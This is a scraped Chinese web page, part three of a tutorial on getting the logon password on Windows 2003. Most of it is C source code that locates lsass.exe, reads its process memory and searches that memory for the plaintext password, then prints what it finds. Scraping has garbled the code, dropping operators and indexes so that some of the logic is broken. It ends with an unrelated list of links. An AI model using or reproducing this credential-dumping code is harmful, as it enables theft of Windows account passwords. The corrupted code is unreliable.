如何在Windows 2003中得到登陆密码( 三 ) _云知道

Is Not Separated With A Space ， But With A Ending Character ， So Any Search API Like strstr() Will Fail To Locate
The Magic String ， We Have To Do It Manually And Slowly
*/
if (Buffer == "L")
{
OffSet = 0;
if (strnicmp(&Buffer[iOffSet] ， "LocalSystem" ， strlen("LocalSystem")) == 0)
{
OffSet= strlen("LocalSystem")1;
if (strnicmp(&Buffer[iOffSet] ， "Remote" ， strlen("Remote")) == 0)
{
OffSet= strlen("Remote")1;
if (strnicmp(&Buffer[iOffSet] ， "Procedure" ， strlen("Procedure")) == 0)
{
OffSet= strlen("Procedure")1;
if (strnicmp(&Buffer[iOffSet] ， "Call" ， strlen("Call")) == 0)
{
i= OffSet;
break;
}
}
}
}
}
}
if (i < nSize)
{
ZeroMemory(Password ， sizeof(Password));
for (; i < nSize ; i)
{
if (Buffer == 0x02 && Buffer[i1] == 0 && Buffer[i2] == 0 && Buffer[i3] == 0 && Buffer[i4] == 0 && Buffer[i5] == 0 && Buffer[i6] == 0)
{
/* The Below Code Is To Retrieve The Password.Since The String Is In Unicode Format ， So We Will Do It In
That Way
*/
j = i7;
for (; j < nSize; j= 2)
{
if (Buffer[j] > 0)
{
Password[Count] = Buffer[j];
}
else
{
break;
}
}
return i7; // One Flag To Indicate We Find The Password
}
}
}
return -1; // Well ， We Fail To Find The Password ， And This Always Happens
}
// End Search
//------------------------------------------------------------------------------------
// Purpose: To Get The Lsass.exe PID
// Return Type: DWORD
// Parameters: None
//------------------------------------------------------------------------------------
DWORD GetLsassPID()
{
HANDLE hProcessSnap;
HANDLE hProcess = NULL;
PROCESSENTRY32 pe32;
DWORD PID = 0;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS ， 0);
if( hProcessSnap == INVALID_HANDLE_VALUE )
{
printf("Fail To Create Snap Shotn");
return 0;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if( !Process32First(hProcessSnap ， &pe32))
{
CloseHandle(hProcessSnap); // Must clean up the snapshot object!
return 0;
}
do
{
if (strcmpi(pe32.szExeFile ， "Lsass.EXE") == 0)
{
PID = pe32.th32ProcessID;
break;
}
}while(Process32Next( hProcessSnap ， &pe32));
CloseHandle( hProcessSnap);
return PID;
}
// End GetLsassPID()
//------------------------------------------------------------------------------------
// Purpose: To Find The Password
// Return Type: BOOLEAN
// Parameters:
// In: DWORD PID -> The Lsass.exe"s PID
//------------------------------------------------------------------------------------
BOOL FindPassword(DWORD PID)
{
HANDLE hProcess = NULL;
char Buffer[5 * 1024] = ;
DWORD ByteGet = 0;
int Found = -1;
hProcess = OpenProcess(PROCESS_VM_READ ， FALSE ， PID); // Open Process
if (hProcess == NULL)
{
printf("Fail To Open Processn");
return FALSE;
}
if (!ReadProcessMemory(hProcess ， (PVOID)BaseAddress ， Buffer ， 5 * 1024 ， &ByteGet)) // Read The Memory From Lsass.exe
{
printf("Fail To Read Memoryn");
CloseHandle(hProcess);
return FALSE;
}
CloseHandle(hProcess);
Found = Search(Buffer ， ByteGet); // Search The Password
if (Found >= 0) // We May Find The Password
{
if (strlen(Password) > 0) // Yes ， We Find The Password Even We Don"t Know If The Password Is Correct Or Not
{
printf("Found Password At #0x%x -> "%s"n" ， FoundBaseAddress ， Password);
}
}
else
{
printf("Fail To Find The Passwordn");
}
return TRUE;
}
// End FindPassword
//------------------------------------------------------------------------------------
// Purpose: Check If The Box Is Windows 2003
// Return Type: BOOLEAN
// Parameters: None
//------------------------------------------------------------------------------------

如何在Windows 2003中得到登陆密码( 三 )

推荐阅读

硚口区新冠疫苗在哪里打？附接种点查询

消除发动机故障灯窍门

真的有凤凰存在吗这个世界上真的有凤凰吗

松赞林寺海拔多少米高

斯威x3用了什么发动机

五菱宏光s时速120转速多少

菲亚特派力奥用了什么发动机

为什么唯品会不能加入购物车

手机银行预留信息是什么手机银行预留信息是什么意思?

什么叫府绸

松江是哪个城市的

华硕x50，华硕X50系列的笔记本怎么样

誉品x12 誉品这个牌子怎么样

新机可能真要来了

三线仓鼠多少钱一只，紫仓仓鼠和三线仓鼠分别多少钱

男子用弓弩毒飞镖残忍毒杀盗窃家犬，获刑10个月！